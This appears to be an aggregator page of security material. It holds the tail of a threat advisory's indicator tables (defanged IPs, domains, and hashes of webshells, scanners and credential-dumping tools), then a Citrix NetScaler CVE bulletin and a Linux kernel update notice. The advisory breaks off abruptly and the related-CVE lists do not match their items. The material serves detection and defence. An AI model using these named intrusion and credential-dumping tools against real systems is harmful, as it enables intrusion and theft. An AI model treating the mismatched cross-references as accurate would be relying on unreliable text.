120.36.250[.]247	11/25/2021	11/30/2021
120.36.253[.]247	5/6/2021	5/6/2021
120.36.253[.]248	4/19/2021	4/20/2021
120.36.251[.]25	6/7/2024	6/11/2024
120.36.251[.]254	3/22/2021	3/28/2021
120.36.249[.]28	10/24/2022	10/28/2022
120.36.251[.]3	12/8/2021	12/8/2021
120.36.251[.]30	1/19/2022	1/21/2022
120.36.254[.]3	6/30/2021	7/5/2021
120.36.254[.]32	7/30/2024	7/30/2024
120.36.249[.]33	11/7/2022	11/7/2022
120.36.250[.]4	3/31/2021	3/31/2021
120.36.250[.]43	6/8/2021	6/8/2021
120.36.249[.]47	1/3/2023	1/3/2023
120.36.248[.]48	3/15/2021	3/18/2021
120.36.250[.]48	5/25/2023	5/25/2023
120.36.249[.]52	5/16/2022	5/20/2022
120.36.250[.]53	1/22/2024	1/22/2024
120.36.249[.]54	9/13/2022	9/15/2022
120.36.251[.]54	7/8/2021	7/9/2021
120.36.249[.]55	4/7/2024	4/7/2024
120.36.251[.]56	11/16/2022	11/17/2022
120.36.248[.]57	6/5/2023	6/5/2023
120.36.250[.]58	3/22/2022	3/25/2022
120.36.250[.]6	1/14/2022	1/19/2022
120.36.253[.]6	8/11/2021	8/12/2021
120.36.254[.]63	3/30/2023	6/11/2024
120.36.250[.]65	9/5/2023	9/6/2023
120.36.251[.]65	6/22/2022	6/23/2022
120.36.250[.]67	5/27/2021	5/27/2021
120.36.252[.]69	4/8/2024	4/12/2024
120.36.248[.]73	8/17/2021	8/17/2021
120.36.255[.]74	11/19/2021	11/25/2021
120.36.250[.]76	6/5/2024	6/6/2024
120.41.222[.]74	11/4/2023	11/4/2023
120.36.248[.]80	10/11/2022	10/12/2022
120.36.251[.]80	7/27/2021	7/28/2021
120.36.251[.]84	7/5/2022	7/5/2022
120.36.252[.]90	4/24/2024	4/25/2024
120.36.249[.]91	4/6/2021	4/9/2021
120.36.251[.]91	9/29/2022	9/29/2022
120.36.252[.]91	6/24/2022	6/27/2022
120.36.254[.]92	9/15/2023	9/20/2023
120.36.254[.]94	11/12/2021	11/18/2021
120.36.248[.]97	3/14/2022	3/18/2022
120.36.251[.]97	8/19/2021	8/19/2021
120.36.249[.]98	2/1/2023	2/3/2023
120.36.252[.]98	4/13/2022	4/15/2022
121.207.60[.]123	3/19/2023	3/19/2023
122.116.33[.]118	5/12/2023	3/5/2024
122.232.149[.]231	3/23/2023	3/23/2023
122.201.241[.]230	5/23/2023	8/3/2023
122.116.159[.]52	5/22/2023	9/25/2023
122.116.102[.]93	5/21/2024	5/21/2024
123.121.157[.]240	4/12/2022	4/12/2022
123.51.237[.]194	4/8/2024	11/4/2024
123.252.121[.]7	2/26/2024	3/4/2024
123.252.122[.]7	2/28/2024	3/4/2024
123.12.90[.]227	1/26/2023	1/26/2023
123.60.61[.]104	9/12/2024	9/12/2024
124.126.158[.]130	2/21/2024	2/21/2024
124.126.139[.]199	5/31/2023	5/31/2023
124.127.17[.]171	8/10/2023	8/11/2023
124.127.220[.]223	8/21/2023	8/21/2023
124.150.135[.]3	9/7/2023	9/7/2023
123.51.223[.]96	3/14/2023	4/18/2023
124.64.22[.]13	12/11/2023	12/11/2023
124.126.141[.]74	4/23/2023	4/23/2023
124.127.78[.]22	8/15/2023	8/16/2023
124.127.72[.]52	8/12/2023	8/12/2023
125.227.147[.]106	11/1/2023	12/5/2023
125.227.140[.]168	3/18/2024	11/12/2024
125.227.1[.]220	5/25/2023	11/14/2023
125.227.196[.]157	1/19/2024	1/29/2024
125.227.219[.]145	3/6/2024	7/1/2024
125.228.239[.]13	4/2/2024	12/2/2024
125.227.218[.]2	5/16/2024	5/16/2024
124.64.23[.]80	7/7/2023	7/7/2023
125.229.172[.]48	5/23/2024	5/23/2024
125.227.136[.]60	5/11/2023	2/28/2024
137.220.34[.]137	12/16/2020	12/17/2020
137.220.39[.]222	1/21/2021	1/25/2021
137.220.43[.]47	7/17/2020	7/24/2020
137.220.36[.]87	3/16/2023	7/7/2024
138.199.62[.]148	12/5/2024	12/14/2024
139.180.137[.]219	1/25/2024	6/5/2024
139.180.217[.]19	6/5/2024	6/19/2024
139.180.158[.]51	12/13/2021	7/8/2024
139.84.174[.]129	6/17/2024	12/16/2024
140.82.27[.]163	1/2/2020	1/8/2020
140.82.50[.]151	3/5/2021	3/17/2021
141.164.41[.]128	4/11/2023	7/8/2024
140.82.48[.]6	7/13/2020	7/17/2020
141.164.55[.]227	9/4/2024	12/16/2024
141.164.56[.]93	6/20/2025	6/20/2025
144.202.26[.]205	5/14/2020	5/14/2020
144.34.171[.]162	3/29/2023	11/28/2023
144.202.33[.]164	9/17/2020	9/27/2020
144.202.62[.]109	10/16/2019	10/28/2019
144.202.91[.]107	10/19/2020	10/27/2020
144.202.94[.]216	8/17/2020	8/18/2020
144.202.98[.]41	11/18/2020	11/18/2020
147.139.133[.]246	5/26/2023	6/6/2023
149.28.132[.]137	2/23/2024	7/5/2024
149.28.132[.]161	5/17/2024	7/4/2024
149.28.201[.]146	11/20/2020	12/11/2020
149.28.188[.]184	11/21/2019	11/21/2019
149.248.34[.]100	6/5/2020	6/5/2020
149.28.149[.]29	4/30/2024	4/30/2024
149.28.252[.]19	11/18/2019	11/18/2019
149.248.38[.]179	6/3/2020	6/3/2020
149.248.39[.]202	6/8/2023	2/29/2024
149.248.44[.]191	2/23/2024	5/10/2024
149.248.51[.]22	1/25/2024	6/5/2024
149.28.72[.]106	2/24/2023	3/2/2023
155.138.155[.]170	2/4/2021	2/4/2021
155.138.136[.]190	12/5/2019	12/16/2019
155.138.151[.]225	6/5/2024	6/5/2024
155.138.133[.]56	1/25/2024	6/5/2024
156.146.45[.]152	9/21/2024	9/21/2024
156.146.45[.]194	9/19/2024	9/19/2024
158.247.197[.]28	6/25/2023	9/26/2023
159.138.152[.]61	3/16/2023	3/22/2023
162.14.178[.]86	3/29/2021	5/7/2021
167.172.33[.]16	4/14/2023	4/14/2023
167.179.87[.]215	11/21/2022	6/20/2025
167.179.97[.]121	12/14/2022	3/20/2023
171.120.88[.]137	9/27/2023	9/27/2023
178.62.208[.]162	4/14/2023	4/14/2023
180.122.149[.]177	3/22/2023	3/22/2023
182.34.19[.]234	3/23/2023	3/23/2023
183.240.139[.]216	12/7/2020	1/8/2021
183.253.28[.]104	2/27/2024	2/27/2024
183.253.29[.]110	5/6/2024	5/10/2024
183.253.28[.]121	12/6/2023	12/14/2023
183.250.213[.]20	4/3/2023	4/3/2023
183.253.29[.]189	8/9/2024	8/9/2024
183.250.213[.]55	9/26/2023	10/11/2023
183.253.29[.]66	3/25/2024	3/28/2024
183.253.28[.]67	10/12/2024	10/12/2024
183.250.213[.]80	3/3/2023	3/31/2023
183.250.213[.]83	3/24/2023	3/24/2023
183.166.90[.]97	3/20/2023	3/20/2023
185.216.118[.]71	6/7/2024	7/2/2024
185.135.73[.]192	1/4/2022	1/5/2022
185.213.82[.]239	6/27/2024	7/3/2024
185.213.82[.]243	6/28/2024	6/28/2024
185.213.82[.]55	10/16/2024	10/16/2024
185.213.82[.]65	9/21/2023	9/21/2023
190.92.241[.]15	3/20/2023	3/27/2023
191.232.188[.]144	6/23/2022	6/23/2022
193.42.24[.]68	11/28/2024	11/28/2024
193.42.25[.]73	3/24/2024	7/11/2024
198.13.38[.]211	7/5/2024	7/5/2024
202.182.109[.]151	6/1/2024	9/13/2024
202.101.145[.]22	3/23/2023	3/23/2023
202.182.106[.]31	1/25/2024	7/2/2024
202.39.151[.]239	3/8/2024	12/5/2024
202.99.19[.]250	7/10/2023	7/10/2023
202.99.19[.]254	7/13/2023	7/13/2023
203.74.126[.]20	3/28/2023	3/31/2023
203.69.36[.]122	4/1/2024	12/12/2024
207.246.118[.]144	10/21/2022	12/15/2022
207.246.117[.]149	3/24/2020	3/27/2020
207.246.114[.]173	10/30/2019	10/30/2019
207.148.68[.]131	1/25/2024	6/5/2024
207.148.122[.]69	1/25/2024	6/5/2024
207.148.67[.]146	1/6/2021	1/20/2021
207.246.108[.]64	1/16/2020	1/16/2020
207.246.127[.]64	9/12/2019	9/6/2024
207.148.73[.]238	6/14/2023	9/13/2024
207.148.92[.]220	4/25/2024	7/5/2024
207.148.4[.]96	9/30/2019	5/18/2023
208.72.154[.]55	4/24/2022	5/17/2022
210.242.152[.]155	3/26/2024	12/12/2024
210.242.38[.]241	3/14/2023	1/15/2024
210.243.225[.]41	5/14/2024	11/29/2024
210.66.220[.]39	10/18/2021	10/21/2021
210.242.76[.]32	5/23/2024	5/23/2024
210.71.166[.]50	6/3/2024	6/11/2024
211.20.144[.]116	5/16/2024	5/19/2024
211.20.104[.]187	5/21/2024	5/21/2024
211.21.19[.]11	3/6/2024	4/2/2024
211.22.143[.]228	7/27/2023	7/27/2023
211.20.115[.]60	2/27/2023	3/5/2024
211.20.154[.]60	3/18/2024	4/1/2024
211.20.100[.]78	12/21/2023	12/22/2023
211.20.100[.]79	12/22/2023	12/22/2023
211.99.103[.]102	12/1/2020	12/8/2020
211.21.61[.]46	4/2/2024	4/29/2024
211.75.185[.]37	10/30/2023	1/4/2024
211.99.103[.]243	12/28/2020	1/22/2021
212.107.28[.]16	9/9/2022	9/9/2022
212.107.28[.]22	9/9/2022	9/9/2022
212.107.28[.]23	9/9/2022	9/9/2022
211.78.84[.]17	12/27/2023	12/27/2023
211.20.91[.]77	4/17/2024	4/18/2024
211.99.100[.]90	4/8/2021	4/8/2021
211.99.100[.]91	4/9/2021	4/9/2021
211.99.98[.]197	11/30/2020	11/30/2020
216.128.149[.]106	12/15/2022	2/22/2023
216.128.128[.]238	2/21/2021	2/21/2021
218.26.159[.]254	10/5/2023	10/5/2023
218.5.173[.]137	3/22/2023	3/22/2023
218.5.157[.]171	3/20/2023	3/20/2023
218.66.163.188	3/24/2023	3/24/2023
219.143.179[.]250	7/10/2023	7/13/2023
220.128.108[.]164	10/28/2022	7/19/2023
220.130.153[.]127	4/3/2023	12/18/2023
220.130.176[.]23	12/18/2023	3/1/2024
220.128.125[.]3	3/8/2023	5/9/2023
220.130.254[.]251	12/13/2023	12/13/2023
219.92.229[.]53	5/15/2023	5/15/2023
220.162.9[.]150	3/20/2023	3/23/2023
220.250.44[.]62	6/28/2023	6/29/2023
221.218.143[.]112	2/29/2024	3/11/2024
221.218.136[.]12	7/16/2023	8/9/2023
221.218.138[.]123	5/23/2024	5/23/2024
221.218.143[.]122	6/4/2023	7/3/2023
221.218.143[.]184	7/5/2023	7/12/2023
221.218.136[.]192	10/8/2023	11/15/2023
221.216.116[.]238	4/24/2024	4/24/2024
221.218.137[.]229	6/4/2024	6/4/2024
221.218.139[.]248	1/18/2024	1/24/2024
221.216.208[.]188	6/19/2023	6/19/2023
221.218.142[.]26	5/9/2024	5/13/2024
221.218.141[.]96	4/2/2024	4/3/2024
222.92.153[.]125	6/6/2024	6/6/2024
223.104.40[.]128	4/16/2024	4/16/2024
223.104.41[.]13	4/18/2024	4/18/2024
223.104.40[.]142	4/17/2024	4/17/2024
223.104.40[.]204	4/19/2024	4/19/2024
223.27.34[.]132	4/10/2024	12/13/2024
223.104.55[.]183	7/3/2024	7/3/2024
223.104.39[.]82	7/11/2023	7/11/2023

Table 12 shows observed domain names attributed to this threat activity and obfuscation network hosts.  

Table 12. Domain Names Attributed to Threat Activity and Obfuscation Network Hosts 

Name	Type	First Seen	Last Seen
96cee[.]com	Infrastructure	6/29/2020	5/9/2024
asean.twimg.co[.]uk	SoftEther Host	9/21/2024	12/15/2024
bj-hk.hmbcloud[.]net	SoftEther Host	3/29/2021	3/29/2021
bj-jp.hmbcloud[.]net	SoftEther Host	4/10/2021	5/7/2021
blog.98aiblog[.]com	SoftEther Host	7/12/2024	8/14/2024
bsnl.twimg.co[.]uk	SoftEther Host	6/17/2024	7/7/2024
dns.studiocloud[.]xyz	Infrastructure	12/10/2021	5/9/2024
eg.twimg.co[.]uk	SoftEther Host	9/22/2024	12/14/2024
etechhosting.twimg.co[.]uk	SoftEther Host	9/21/2024	12/16/2024
fcchk.twimg.co[.]uk	SoftEther Host	9/21/2024	12/14/2024
gz-hk.hmbcloud[.]net	SoftEther Host	12/28/2020	1/22/2021
iplc-hk.hmbcloud[.]com	SoftEther Host	11/30/2020	12/8/2020
javacheck.ooguy[.]com	SoftEther Host	12/22/2023	6/25/2024
javaupdate.giize[.]com	SoftEther Host	12/22/2023	6/15/2024
ls.twimg.co[.]uk	SoftEther Host	9/21/2024	12/14/2024
np.twimg.co[.]uk	SoftEther Host	9/21/2024	11/25/2024
one.hmbiplc-01[.]com	SoftEther Host	4/2/2022	4/2/2022
pw.sexytube0[.]com	SoftEther Host	8/6/2021	4/18/2024
senate.twimg.co[.]uk	SoftEther Host	9/21/2024	12/14/2024
sh-jp.hmbcloud[.]net	SoftEther Host	4/10/2021	4/25/2021
studiocloud[.]xyz	Infrastructure	12/10/2021	5/9/2024
szxcm-hkg01.iepl.node[.]cm	SoftEther Host	12/7/2020	1/8/2021
tj.twimg.co[.]uk	SoftEther Host	9/21/2024	12/14/2024
ximmd.sexytube0[.]com	SoftEther Host	7/14/2020	10/31/2020

Table 13 contains known webshells from the threat actor’s repository of CNE tooling, which may appear on a compromised system. The threat actors have used these webshell files for unauthorized access to victim environments. 

Table 13. Leveraged Webshells 

• Name : b374.php 
• Hashes : MD5: 48ca18a25424a0f52276290b619a7a83 SHA-256: 72c6af6a4be99e31c4a7a0aa4f01750792788e7f6f9749243a9f2c47c14a708f 
• Name : back.pl 
• Hashes : MD5: 38f5ff8169423e2c756848c02e8cac3b SHA-256: 456586ababa08f70216c4459f4d6375676166ebfddd98a33b447ceb5099e8dc5 
• Name : error.jsp 
• Hashes : MD5: d61326c4e6d24aa9b67e2b7a3ef7cedf SHA-256: 2f5c406eb64ad8902c8e30610d43fd3efc05a14cdb8fb158818953eaf3dc6a81 
• Name : file_back. aspx 
• Hashes : MD5: f8de2e99dc7523d2c83d1a48e844c5ff SHA-256: 5782ff2c835c88cc1ee521d2e8c523cfad73db3f9a29c93b40c4223f0338ade9 
• Name : gf.phtml 
• Hashes : MD5: 5b5a2c7fa705d8b1eb04da5db900b0d7 SHA-256: 0e6fecb2d369b0eae63731616a3daada52036634885ab1b85b115af6bc5bcb86 
• Name : yaml-payload.jar 
• Hashes : MD5: 655cd134976d3e80c521708aa8be418b SHA-256: 36f3b7645609ef40444dbc68f01d26c543d67689eda4937272ea5cfa4df1b522 

Table 14 contains known binaries and scripts from the threat actor’s repository of CNE tooling. The threat actors used these utilities to perform various scanning or computer intrusion tasks.

Table 14. Leveraged Binaries and Scripts 

• Name : ksubdomain 
• Category : Enumeration 
• Hashes : MD5: dae8f50ea44225fae3ba1f160b42bfdc SHA-256: 670fa10a2ddde21fd594c4fef86b554d864089ed2de7153b472e921c623403ae 
• Name : ksubdomain_linux 
• Category : Enumeration 
• Hashes : MD5: fdece34bc084f1e252aeae274650eb8d SHA-256: 645f6f2667af01a94d04a9d7a71916a13d9426835d636b4ceee2e25ccb34e525 
• Name : oneforall.py 
• Category : Enumeration 
• Hashes : MD5: 596b990b0b389d906a8f4384837c1878 SHA-256: 4d488f21269b18e37aaca93ac2a61707c9b611e506cdb3b287277746e94636b5 
• Name : subDomainsBrute.py 
• Category : Enumeration 
• Hashes : MD5: a73eca669fe80628dbbd2c7d9bb14c8f SHA-256: a14844e982f172d0f23910558c3f390a9d4c45dc32db825c2af7cf0ed8631db2 
• Name : office-cli 
• Category : Information dump 
• Hashes : MD5: be121e707f817aa9392c55af1e7ec2aa SHA-256: add7dd142e4f7e2873bc8f7b7fb6308063608e0b49a773dea93abad4047f1489 
• Name : JuicyPotato.exe 
• Category : Privilege escalation 
• Hashes : MD5: 7ce68f0dd85355ba2897a68521167e56 SHA-256: e7e727458f573dded05537baddac2867d2801db1c3c74410398d063dfd6f6575 
• Name : BBScan.py 
• Category : Scanning 
• Hashes : MD5: f82694de2f19e1bff333c27bb7eb7a56 SHA-256: 8e1b56ef51ba70aa4c4cfd4430820f20875b354588d5d723ba4d3940ea6c924b 
• Name : dirmap.py 
• Category : Scanning 
• Hashes : MD5: 1933c314041415939331fce183939547 SHA-256: 46e59172c40c95d83c3a6f24f801fc2265653c8b575b66a726463e2a4eebd7f2 
• Name : dirsearch.py 
• Category : Scanning 
• Hashes : MD5: 8829f6f1cc5fc0aab2f6e71bfd7dc53d SHA-256: 752b14c6e6936991d51fcd5ebf40d303e657c2372893604f96044848ad9a5f24 
• Name : fscan.exe 
• Category : Scanning 
• Hashes : MD5: cf903e4a1629aa0582fd0363b5786676 SHA-256: 7b9efc7ef8957411cdd22582ce4bfb3a5f76d9c91cdb7e36bf85c9785a2480e9 
• Name : nbtscan.exe 
• Category : Scanning 
• Hashes : MD5: f01a9a2d1e31332ed36c1a4d2839f412 SHA-256: c9d5dc956841e000bfd8762e2f0b48b66c79b79500e894b4efa7fb9ba17e4e9e 
• Name : nbtscan_linux 
• Category : Scanning 
• Hashes : MD5: ef713447f18f5b7ee16af4ac37ec4133 SHA-256: 2fbcb1995c458e5affd5fb8f1f979a08ddce21714a2e413aa3d5dc44f9f245fe 
• Name : PackerFuzzer.py  
• Category : Scanning 
• Hashes : MD5: 8dcc4f9ccc6b6adf7eeeb3f51c95afad SHA-256: 33790218d5871af646feef5be29e0596d4703a45ce675c1eb2ca00140b3a1bde 
• Name : ShuiZe.py 
• Category : Scanning 
• Hashes : MD5: b04375cca637f0702bf27feaff22a92d SHA-256: c7f86a4623db5c90273cea041d43207849c5c6b0060c370b2095f13871b1366d 
• Name : sqlmap.py 
• Category : Scanning 
• Hashes : MD5: bcacc7ca999980d26c186ef791242fb5 SHA-256: 2ecb51d7fa3bc3fa7ad7df64c6d0cd1f4ff2b37ed6839d3cff529fb08af49fb0 
• Name : wpscan 
• Category : Scanning 
• Hashes : MD5: 1b8e29b6b7972fb124425aaa257f8f6d SHA-256: efb0437e6a6a0f07169952f1a8b734299ec9a8b1faadbed811fe017f2cf54976 

Table 15 contains known files that the threat actors dropped onto victim systems and used to install unauthorized software, dump sensitive information, or enable other follow-on activity from within a victim’s network. 

Table 15. Potentially Dropped Files 

• Name : curlc4.txt 
• Category : Malware 
• Hashes : MD5: 4f61b9ab907f351bb40b37b10f4974d0 SHA-256: 8b869a5edaff74ff18bca3658a519a19771e66d00ff7849af7a142dd6fc8da85 
• Name : DiagTrack.exe  
• Category : Malware 
• Hashes : MD5: 6d57c42dee8bd7789969e2dd28671162 SHA-256: 804a53be802378a8ec4c94602fd3d6584e0d472d83148e8a42c731950fec415d 
• Name : live700_v1.exe 
• Category : Malware 
• Hashes : MD5: 776807750280daad05348f931a33e4ef SHA-256: c4503db6ece93eddf4511e787607cb14606a1df9f526f1e39992497119437cec 
• Name : conhost.exe 
• Category : SoftEther 
• Hashes : MD5: a973c0ab904c1b74655a906b99b76850 SHA-256: b1552703ff0035f197c22cdb3a514bb6aa45ec98de3ef5409faab0978f18c35e 
• Name : dllhost.exe 
• Category : SoftEther 
• Hashes : MD5: f62cbbbdf35c7790909c26c7c5fbce05 SHA-256: 8a592e22c51311d482272ec5aba0103c9cd0cfd78e5b5ba75dfa8f1c56926672 
• Name : dllhost.exe 
• Category : SoftEther 
• Hashes : MD5: a05cdf6afcbb107961307f59cbab5e4f SHA-256: 86f1cfa6a2e0a8cb6fc1fbee28472308e6467932f8658a6a4885e29ed8c34a67 
• Name : b.exe 
• Category : Information dump 
• Hashes : MD5: 7d5a182f70bed0e4fa2f8615aba070de SHA-256: e93244080a749b521f63476343ce3c81cc8c1b672fa0d9e67359aee37544c784 
• Name : dc.exe 
• Category : Information dump 
• Hashes : MD5: 1bcaef76b2063f1b80b0fa0d277ec9c5 SHA-256: 9dc85f9569a15eaf51c7d34254767ea30dd67b2178cec4cc7125288b9544fe00 
• Name : secretsdump.exe 
• Category : Information dump 
• Hashes : MD5: 4d33bfb75e27fefaa72526899604d557 SHA-256: 644decbc6ce8c52382f4755fa6fc2cb4d89a0e7ec0e574c11b398a6f2eed04b1 
• Name : secretsdump.py 
• Category : Information dump 
• Hashes : MD5: fc6e8ca41cf4f6100177352660e520b4 SHA-256: 67db57a1f957031b78f29aa91e2e87780eae3835290259eff846d8f14afb794b 

Appendix B: Observed Common Vulnerabilities and Exposures

Table 16 displays successfully exploited common vulnerabilities and exposures (CVEs). The asterisk (*) indicates CVEs that were newly added to CISA’s Known Exploited Vulnerabilities (KEV) Catalog.

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Related vulnerabilities: CVE-2015-3306CVE-2023-22894CVE-2015-5477CVE-2016-3081CVE-2019-11510CVE-2021-22205CVE-2021-3199CVE-2014-6278

Description of Problem

Multiple vulnerabilities have been discovered in Citrix NetScaler ADC (formerly Citrix ADC) and Citrix NetScaler Gateway (formerly Citrix Gateway). Refer below for further details. Affected Versions:

The following supported versions of Citrix NetScaler ADC and Citrix NetScaler Gateway are affected by the vulnerabilities:

Citrix NetScaler ADC and Citrix NetScaler Gateway 14.1 BEFORE 14.1-73.37
Citrix NetScaler ADC and Citrix NetScaler Gateway 13.1 BEFORE 13.1-64.23
Citrix NetScaler ADC FIPS BEFORE 14.1-73.37 FIPS
Citrix NetScaler ADC FIPS and NDcPP BEFORE 13.1-37.279

Additional Note: Secure Private Access Hybrid deployments using NetScaler instances are also affected by the vulnerabilities. Customers need to upgrade these NetScaler instances to the recommended NetScaler builds to address the vulnerabilities.

This bulletin only applies to customer-managed Citrix NetScaler ADC (“NetScaler ADC”) and Citrix NetScaler Gateway (“NetScaler Gateway”). Cloud Software Group upgrades the Citrix-managed cloud services and Citrix-managed Adaptive Authentication with the necessary software updates.

CVE-ID	Description	Pre-conditions	CWE	CVSSv4
CVE-2026-88771	A remote code execution vulnerability exists due to improper input validation, which can allow an unauthenticated attacker to execute arbitrary commands	All NetScaler ADC and NetScaler Gateway deployments (Default configuration / No additional feature required)	CWE-20: Improper Input Validation	CVSS v4.0 Base Score: 9.5 (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)
CVE-2026-88772	Memory overflow vulnerability leading to Remote Code Execution or Denial of Service	DTLS configuration enabled on NetScaler ADC or NetScaler Gateway (Note: Enabled by default on VPN vServer)	CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer	CVSS v4.0 Base Score: 9.5 (CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)
CVE-2026-88773	HTTP Request Smuggling	HTTP Configuration enabled on NetScaler ADC or NetScaler Gateway	CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')	CVSS v4.0 Base Score: 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N)
CVE-2026-88774	Feature policy bypass due to improper HTTP URL based expression usage	Any policy expression configured with HTTP URL based expression	CWE-16: Configuration	CVSS v4.0 Base Score:7 (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:H/SI:H/SA:N)
CVE-2026-88775	Memory overflow vulnerability leading to unpredictable or erroneous behavior or Denial of Service	NetScaler ADC or NetScaler Gateway configured as either:• Gateway (SSL VPN, ICA Proxy, CVPN, RDP Proxy)• AAA virtual server	CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer	CVSS v4.0 Base Score: 8.8 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N)
CVE-2026-88776	Memory overflow vulnerability leading to unpredictable or erroneous behavior or Denial of Service	Configured as a Load Balancing (LB) virtual server of type Oracle on NetScaler ADC or NetScaler Gateway	CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer	CVSS v4.0 Base Score: 8.8 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N)
CVE-2026-88777	Memory overflow vulnerability leading to unpredictable or erroneous behavior or Denial of Service	Configured as an LB/CS or CGNAT-LSN/NAT64 device with a non-HTTP L7 protocol feature enabled on NetScaler ADC or NetScaler Gateway	CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer	CVSS v4.0 Base Score: 8.8 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N)
CVE-2026-88778	TCP Initial Sequence Number (ISN) prediction	TCP Configuration enabled on NetScaler ADC or NetScaler Gateway	CWE-342: Predictable Exact Value from Previous Values	CVSS v4.0 Base Score: 8.8 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:L/SI:L/SA:L)

https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096&articleURL=Citrix_NetScaler_ADC_and_Citrix_NetScaler_Gateway_Security_Bulletin_for_CVE_2026_88771_CVE_2026_88772_CVE_2026_88773_CVE_2026_88774_CVE_2026_88775_CVE_2026_88776_CVE_2026_88777_and_CVE_2026_88778

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Related vulnerabilities: CVE-2026-88777CVE-2026-88774CVE-2026-88776CVE-2026-88775CVE-2026-88771CVE-2026-88778CVE-2026-88773CVE-2026-88772

Several security issues were fixed in the Linux kernel.

Software Description:

• linux-nvidia-7.0: Linux kernel for NVIDIA systems

Details:

Several security issues were discovered in the Linux kernel.

An attacker could possibly use these to compromise the system.

This update corrects flaws in the following subsystems:

• User-space API (UAPI);
• Kernel build system;
• ARM32 architecture;
• ARM64 architecture;
• RISC-V architecture;
• S390 architecture;
• x86 architecture;
• Block layer subsystem;
• Cryptographic API;
• Compute Acceleration Framework;
• Intel NPU Driver;
• ACPI drivers;
• Android drivers;
• Drivers core;
• Compressed RAM block device driver;
• Bluetooth drivers;
• Character device driver;
• Hardware random number generator core;
• CPU frequency scaling framework;
• Hardware crypto device drivers;
• Buffer Sharing and Synchronization framework;
• Intel Stratix 10 firmware drivers;
• FPGA Framework;
• GPIO subsystem;
• ...

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Related vulnerabilities: CVE-2026-53173CVE-2026-64507CVE-2026-53143CVE-2026-64501CVE-2026-53223CVE-2026-53237CVE-2026-53193CVE-2026-64292CVE-2026-63870CVE-2026-64260CVE-2026-53269CVE-2026-64421CVE-2026-53400CVE-2026-64470CVE-2026-53148CVE-2026-64443CVE-2026-53134CVE-2026-68091CVE-2026-64325CVE-2026-64453CVE-2026-53342CVE-2026-63799CVE-2026-53181CVE-2026-53199CVE-2026-52940CVE-2026-64331CVE-2026-64409CVE-2026-64361CVE-2026-64360CVE-2026-64446CVE-2026-53251CVE-2026-64373CVE-2026-53390CVE-2026-64485CVE-2026-64324CVE-2026-64321CVE-2026-64338CVE-2026-64371CVE-2026-53132CVE-2026-64314CVE-2026-53198CVE-2026-64368CVE-2026-64355CVE-2026-64301CVE-2026-68084CVE-2026-53276CVE-2026-64385CVE-2026-64491CVE-2026-64505CVE-2026-64362CVE-2026-53194CVE-2026-63794CVE-2026-53163CVE-2026-63797CVE-2026-64280CVE-2026-52947CVE-2026-64432CVE-2026-53273CVE-2026-64591CVE-2026-53252CVE-2026-64316CVE-2026-53208CVE-2026-64320CVE-2026-53327CVE-2026-53204CVE-2026-53270CVE-2026-63813CVE-2026-63804CVE-2026-53213CVE-2026-53257CVE-2026-64465CVE-2026-64430CVE-2026-53138CVE-2026-64436CVE-2026-52930CVE-2026-64381CVE-2026-64262CVE-2026-64293CVE-2026-64455CVE-2026-64348CVE-2026-63833CVE-2026-64402CVE-2026-52917CVE-2026-64263CVE-2026-64417CVE-2026-53140CVE-2026-64597CVE-2026-64367CVE-2026-64352CVE-2026-64467CVE-2026-68461CVE-2026-53332CVE-2026-53334CVE-2026-53169CVE-2026-64451CVE-2026-53188CVE-2026-52929CVE-2026-53165CVE-2026-64401CVE-2026-64276CVE-2026-63816CVE-2026-53253CVE-2026-64462CVE-2026-64514CVE-2026-64602CVE-2026-53172CVE-2026-53325CVE-2026-64438CVE-2026-64303CVE-2026-64342CVE-2026-53195CVE-2026-53256CVE-2026-64339CVE-2026-53386CVE-2026-64423CVE-2026-53399CVE-2026-64466CVE-2026-64244CVE-2026-53158CVE-2026-53331CVE-2026-64392CVE-2026-64475CVE-2026-64410CVE-2026-53254CVE-2026-53230CVE-2026-64332CVE-2026-53259CVE-2026-64308CVE-2026-53190CVE-2026-53258CVE-2026-64460CVE-2026-64322CVE-2026-64454CVE-2026-53206CVE-2026-53157CVE-2026-64375CVE-2026-53217CVE-2026-53192CVE-2026-64390CVE-2026-53389CVE-2026-64452CVE-2026-64188CVE-2026-64414CVE-2026-53133CVE-2026-64302CVE-2026-64456CVE-2026-68459CVE-2026-53211CVE-2026-64357CVE-2026-63829CVE-2026-63817CVE-2026-53218CVE-2026-53227CVE-2026-64599CVE-2026-53384CVE-2026-53352CVE-2026-64261CVE-2026-64268CVE-2026-53250CVE-2026-64493CVE-2026-53382CVE-2026-63805CVE-2026-64328CVE-2026-64589CVE-2026-53394CVE-2026-53271CVE-2026-53147CVE-2026-64282CVE-2026-68087CVE-2026-64253CVE-2026-64440CVE-2026-64286CVE-2026-53167CVE-2026-53234CVE-2026-64374CVE-2026-63831CVE-2026-52910CVE-2026-64512CVE-2026-64364CVE-2026-64275CVE-2026-64424CVE-2026-64345CVE-2026-63827CVE-2026-52948CVE-2026-53137CVE-2026-63802CVE-2026-64317CVE-2026-53185CVE-2026-64287CVE-2026-53154CVE-2026-53191CVE-2026-63809CVE-2026-53351CVE-2026-63820CVE-2026-64406CVE-2026-53330CVE-2026-64459CVE-2026-63800CVE-2026-64370CVE-2026-53196CVE-2026-53348CVE-2026-63825CVE-2026-53402CVE-2026-64341CVE-2026-63824CVE-2026-53264CVE-2026-64413CVE-2026-53272CVE-2026-63822CVE-